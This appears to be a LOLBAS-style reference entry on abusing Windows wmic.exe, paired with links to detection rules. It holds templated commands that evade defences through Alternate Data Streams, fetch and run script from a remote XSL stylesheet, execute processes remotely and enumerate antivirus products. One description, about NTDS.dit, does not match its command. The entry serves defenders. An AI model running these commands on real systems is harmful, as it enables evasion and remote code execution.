Wmic.exe

Commands

1. ADSUser T1564.004

   Execute binary file hidden in Alternate data streams to evade defensive counter measures

   wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"

   Execute a .EXE file stored as an Alternate Data Stream (ADS)

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: EXE

2. ExecuteUser T1218

   Execute binary from wmic to evade defensive counter measures

   wmic.exe process call create "{CMD}"

   Execute calc from wmic

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: CMD

3. ExecuteUser T1218

   Execute binary on a remote system

   wmic.exe /node:"192.168.0.1" process call create "{CMD}"

   Execute evil.exe on the remote system.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: CMDExecute: Remote

4. ExecuteUser T1218

   Execute binary on remote system

   wmic.exe process get brief /format:"{REMOTEURL:.xsl}"

   Create a volume shadow copy of NTDS.dit that can be copied.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: XSLExecute: Remote

5. ExecuteUser T1218

   Execute script from remote system

   wmic.exe process get brief /format:"{PATH_SMB:.xsl}"

   Executes JScript or VBScript embedded in the target remote XSL stylsheet.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: XSLExecute: Remote

6. CopyUser T1105

   Copy file.

   wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"

   Copy file from source to destination.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

7. ExecuteUser T1518.001

   Recon

   WMIC.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName,productState

   Executes WMIC to gather the existing Antivirus or EDR solution installed on the machine.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: DiscoveryExecute: Antivirus Enumeration

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml
• Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml
• Elastic https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml
• Elastic https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
• Splunk https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml
• Splunk https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml
• Splunk https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml
• Splunk https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml
• BlockRule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• IOCWmic retrieving scripts from remote system/Internet location
• IOCDotNet CLR libraries loaded into wmic.exe
• IOCDotNet CLR Usage Log - wmic.exe.log
• IOCwmiprvse.exe writing files

Resources

• https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
• https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
• https://twitter.com/subTee/status/986234811944648707
• https://research.kudelskisecurity.com/2025/04/30/unmasking-blackbasta-inside-the-ransomware-syndicates-leaked-operations/